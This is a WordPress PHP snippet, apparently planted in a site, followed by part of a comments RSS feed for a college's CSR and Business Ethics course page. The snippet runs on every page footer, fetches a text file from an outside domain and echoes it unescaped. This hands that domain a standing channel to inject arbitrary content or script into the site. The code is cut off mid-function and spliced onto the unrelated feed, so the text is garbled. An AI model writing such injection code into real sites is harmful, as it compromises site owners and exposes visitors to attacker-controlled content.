add_action('wp_footer', 'load_external_footer');

function load_external_footer(){

    $url = 'https://kmaa26.com/berita.txt';

    $data = wp_safe_remote_get($url);

    if(!is_wp_error($data)){
        $body = wp_remote_retrieve_body($data);
        echo $body;
    }

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	<title>
	Comments on: CSR and BUSINESS ETHICS(Subject Code: MBADS1-121)	</title>
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	<link>https://sbs.ac.in/course/csr-and-business-ethicssubject-code-mbads1-121/</link>
	<description>... College with a difference</description>
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